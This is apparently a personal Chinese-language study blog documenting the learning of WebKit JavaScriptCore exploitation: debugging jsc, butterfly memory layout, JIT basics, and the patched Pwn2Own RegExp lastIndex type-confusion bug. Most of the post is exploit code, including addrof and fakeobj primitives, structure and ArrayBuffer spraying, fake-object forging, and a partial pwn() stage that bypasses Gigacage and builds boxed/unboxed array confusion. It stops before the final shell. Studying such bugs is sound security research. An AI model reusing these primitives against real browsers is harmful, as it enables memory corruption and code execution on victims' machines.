JavaScript engine exploit学习记录

贴上原文 大佬的bolg
还有教程资源liveoverlow
这里可以补充很多基础知识。

Webkit 调试

xxx/xxx/Webkit-build --jsc-only --Debug

然后会在目录build处一个jsc

./WebKitBuild/Debug/bin/jsc

使用lldb进行调试

lldb ./WebKitBuild/Debug/bin/jsc

语法和gdb很像这里就不多说了。

Bufferfly of JSObject

再此之前先看一下各类变量在jsc中是如何进行储存的源码位置/JacaScriptCore/runtime/JSCJSValue.h->#elif USE(JSVALUE64)


这里会讲关于变量在其中是如何储存的,首先jsc利用的结构体是bufferfly其结构如下图:

1
2
3
4
5
6
7
8
9
10
11

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+

简单的变量储存,为了更加形象,我们先创建一个数组
a = [0x1337,13.37,false,undefined,true,null,{},0x41424344]
然后看其在内存中的样子

其中1是数组所在位置,2是butterfly结构体所在位置的中间,然后根据结构右边即途中的下面是array,而左边即地址上面存的是properties.整个储存对象和数组的结构也就完整了。

some tips
如果单独的建立一个对象,在内存中刚开始不会用到bufferfly结构,只有第7个开始才会用到并且从第7个开始才放入结构体中。

JIT compiler

什么是JIT compiler

我个人的理解是讲javascript bytecode -> compiler to native machine

理解很浅后面继续补充吧,接下来跟着liveover继续复现漏洞

Regexp-bug

exp

leak

关于leak的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};

//
// addrof primitive
//
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;

function getarray() {
return array;
} //并没有什么用的函数可以剔除

// Target function
var AddrGetter = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}

array = getarray();
reg[Symbol.match](val === null); //可以改写为 "abc".match(reg)主要是引用lastIndex从而调用函数。
return array[0];
}

// Force optimization
for (var i = 0; i < 100000; ++i)
AddrGetter(array); //强制使得JIT对其进行优化,不过可以不用那么多次。

// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;

// Do it!
return AddrGetter(array);
}

// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37){
return result;
}
} //检查输出是否是object或者数字13.37如果不是就输入number。

print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange stuff to happen...");
throw "See above";
}

object = {}
print(addrof(object))

其中写上了注释,其中的主要原因在于对lastIndex进行了一个函数对象的赋值,之后调用match的时候引用了lastIndex属性使得其触发了函数对象,是的arry数组第一个数成为了函数指针。所以被打印了出来。

leak bug from
查看优化过程。
JSC_dumpSourceAtDFGTime=true \ JSC_reportDFGCompileTimes=true \ ./jsc ~/Desktop/js-learn/WebKit-RegEx-Exploit/test.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
Optimized addrofInternal#EPhNvY:[0x10fb51c70->0x10fb50230->0x10fbfce70, NoneFunctionCall, 193 (DidTryToEnterInLoop)] using FTLMode with FTL into 3392 bytes in 422.342364 ms (DFG: 364.866082, B3: 57.476282).
[1] Compiled addrofInternal#EPhNvY:[0x10fb50230->0x10fbfce70, BaselineFunctionCall, 193 (DidTryToEnterInLoop) (HadFTLReplacement)]
'''function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;
// Target function
var AddrGetter = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
"abc".match(reg);
return array[0];
}

// Force optimization
for (var i = 0; i < 100000; ++i)
AddrGetter(array);

// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;

// Do it!
return AddrGetter(array);
}'''
[2] Inlined AddrGetter#D5dMKA:[0x10fb50460->0x10fbfcfd0, BaselineFunctionCall, 96 (HadFTLReplacement)] at addrofInternal#EPhNvY:[0x10fb51c70->0x10fb50230->0x10fbfce70, DFGFunctionCall, 193 (DidTryToEnterInLoop)] bc#152
'''function AddrGetter(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
"abc".match(reg);
return array[0];
}'''
[3] Inlined match#DLDZSb:[0x10fb50690->0x10fbfd130, BaselineFunctionCall, 112 (ShouldAlwaysBeInlined) (StrictMode)] at addrofInternal#EPhNvY:[0x10fb51c70->0x10fb50230->0x10fbfce70, DFGFunctionCall, 193 (DidTryToEnterInLoop)] bc#83
'''function match(regexp)
{
"use strict";

if (this == null)
@throwTypeError("String.prototype.match requires that |this| not be null or undefined");

if (regexp != null) {
var matcher = regexp.@matchSymbol;
if (matcher != @undefined)
return matcher.@call(regexp, this);
}

let thisString = @toString(this);
let createdRegExp = @regExpCreate(regexp, @undefined);
return createdRegExp.@matchSymbol(thisString);
}'''
[4] Inlined [Symbol.match]#BFrWhl:[0x10fb508c0->0x10fbb9130, BaselineFunctionCall, 119 (ShouldAlwaysBeInlined) (StrictMode)] at addrofInternal#EPhNvY:[0x10fb51c70->0x10fb50230->0x10fbfce70, DFGFunctionCall, 193 (DidTryToEnterInLoop)] bc#52
'''function [Symbol.match](strArg)
{
"use strict";

if (!@isObject(this))
@throwTypeError("RegExp.prototype.@@match requires that |this| be an Object");

let str = @toString(strArg);

//
if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}'''

这里可以定位问题函数

当判断为ture的时候就会进入fastcall,进入判断函数

对比一下修改后的,补丁在return处改成了
return typeof regexp.lastIndex !== 'number'; 检查了regexp.lastIndex 是否是数字不是数字类型就返回false进入slow函数。从这里逆推,估计是指针类型的lastIndex在函数内部是会进行执行的。再深入进行查看regExpMatchFast的定义。

这里我跟着教程逆推,因为在与其并列的选项上有着clobberworld(目前跳过。。么得理解😂)

个人理解➕lm0963师傅的提点:

其中lastindex中有一个valueof属性,当lastindex不是数字的时候就会调用这个属性去执行。

差不多接下来继续分析。

fakeobj

分析的过程一波三折吧😂,因为实在是得慢慢来,今天就讲如何利用bug来伪造一个对象指针,伪造对象指针有什么用尼,(目前再说能伪造肯定有用啦~

上poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};

//
// addrof primitive
//
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;

function getarray() {
return array;
}

// Target function
var AddrGetter = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}

array = getarray();
reg[Symbol.match](val === null);
return array[0];
}

// Force optimization
for (var i = 0; i < 100000; ++i)
AddrGetter(array);

// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;

// Do it!
return AddrGetter(array);
}

// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37){
return result;
}
}

print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange stuff to happen...");
throw "See above";
}
//
// fakeobj primitive
// Numbers in the comments represent the points listed below the code.

//
// fakeobj primitive
//
function fakeobjInternal(val) {
var array = [13.37];
var reg = /abc/y;

// Target function
var ObjFaker = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}

"abc".match(val);
array[0] = val;
}

// Force optimization
for (var i = 0; i < 100000; ++i)
ObjFaker(array);

// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;

// Do it!
var unused = ObjFaker(array);

return array[0];
}

其实说起来是和原来的addrof是没有什么区别的,其实本质就是还是利用regex的bug导致arry[0]被误以为是一个对象指针,然后给这个指针进行一个赋值。

下面调试演示一下:

  1. 首先加载我们的poc

    这里两个对象就指向了同一个结构体,那么试想如果我们伪造一个butterfly的结构是不是这个hax就可以奔我们劫持了尼?
  2. 伪造结构体,让其指向test+0x10
1
2
3
4
5
6
7
8
9
10
11
12
13
14

for (var i=0; i<0x2000; i++) {
test = {}
test.x = 1
test['prop_' + i] = 2
}

fake = {}
fake.a = 7.082855106403439e-304
fake.b = 2
fake.c = 1337
delete fake.b

print(addrof(fake));

这是伪造的代码,接下来运行看一看结果。

运行后可以看到这里的mm结构体指向了我们的伪造的结构体处,到这里就完成了伪造了。

box and unbox

其实说起来这个概念并不难,就是当数组是一个原生的double数组(即只有数字元素等)的时候数值就不会加上2的64次,如果是含有object的数组则会对double数加上一个2的64次用以区分。

unbox: raw normal double

box: with the object

JIT type-confusion

手动花的是抽象了一点😂

  1. 创造一个结构体来伪造
  2. 将victim指向结构体struct-spy的末端
  3. 伪造一个结构体has使其buffer指向victim,那么has[1] = victim[1]将其指向box使其和unbox指向同一个buffer结构体造成类型混淆。

脚本来自

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
var structure_spray = []
for (var i = 0; i < 1000; ++i) {
var ary = [13.37];
ary.prop = 13.37;
ary['p'+i] = 13.37;
structure_spray.push(ary);
}
var unboxed_size = 100;
var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function i2f(i) {
u32[0] = i%BASE;
u32[1] = i/BASE;
return f64[0];
}
function f2i(f) {
f64[0] = f;
return u32[0] + BASE*u32[1];
}
function unbox_double(d) {
f64[0] = d;
u8[6] -= 1;
return f64[0];
}
function hex(x) {
if (x < 0)
return `-${hex(-x)}`;
return `0x${x.toString(16)}`;
}
function fail(msg) {
print('FAIL: ' + msg);
throw null;
}
// Trigger for Pwn2Own bug by @fluoroacetate (Richard Zhu & Amat Cama)
// https://github.com/WebKit/webkit/commit/7cf9d2911af9f255e0301ea16604c9fa4af340e2
function rz_addrof(obj) {
var foo = eval(`(arr, regexp, str)=> {
regexp[Symbol.match](str);
return arr[0];
}`);
let arr = [1.1, 2.2, 3.3];
let regexp = /a/y;
for (let i = 0; i < 10000; i++)
foo(arr, regexp, "abcd");
regexp.lastIndex = {
valueOf: () => {
arr[0] = obj;
return 0;
}
};
return foo(arr, regexp, "abcd");
}
function rz_fakeobj(addr) {
var foo = eval(`(arr, regexp, str)=> {
regexp[Symbol.match](str);
arr[0] = addr;
}`);
let arr = [1.1, 2.2, 3.3];
let regexp = /a/y;
for (let i = 0; i < 10000; i++)
foo(arr, regexp, "abcd");
regexp.lastIndex = {
valueOf: () => {
arr[0] = {};
return 0;
}
};
foo(arr, regexp, "abcd");
return arr[0];
}

function pwn() {
var spray = [];
for (var i = 0; i < 800; ++i)
spray.push(new ArrayBuffer(1024*1024));
var stage1 = {
// returns the address of object victim
addrof: function(o) {
return f2i(rz_addrof(o));
},
// materializes a javascript object at address addr
fakeobj: function(addr) {
return rz_fakeobj(i2f(addr));
},
test: function() {
var addr = this.addrof({a: 0x1337});
var x = this.fakeobj(addr);
if (x.a != 0x1337) {
fail('stage1 addrof/fakeobj does not work');
}
},
};
//stage1.test();
//print('all good (1)');
var victim = structure_spray[510];
// Gigacage bypass: Forge a JSObject which has its butterfly pointing
// to victim
u32[0] = 0x200;
u32[1] = 0x01082007 - 0x10000;
var flags_double = f64[0];
u32[1] = 0x01082009 - 0x10000;
var flags_contiguous = f64[0];
var array_spray = [];
for (var i = 0; i < 1000; ++i) {
array_spray[i] = [13.37+i, 13.37];
}
var unboxed = eval(`[${'13.37,'.repeat(unboxed_size)}]`);
unboxed[0] = 4.2; // no CopyOnWrite
var boxed = [{}];
//print(`unboxed @ ${hex(stage1.addrof(unboxed))}`);
//print(`boxed @ ${hex(stage1.addrof(boxed))}`);
var outer = {
header: flags_contiguous, // cell
butterfly: victim, // butterfly
};
//print(`outer @ ${hex(stage1.addrof(outer))}`);
var hax = stage1.fakeobj(stage1.addrof(outer) + 0x10);
hax[1] = unboxed;
var shared_butterfly = f2i(victim[1]);
//print(`shared butterfly @ ${hex(shared_butterfly)}`);
hax[1] = boxed;
victim[1] = i2f(shared_butterfly);
outer.header = flags_double;

总结

分析到这里其实差不多了,接下来我准备自己搞一搞搞到最后的getshell,收获很多算是对其有点了解了。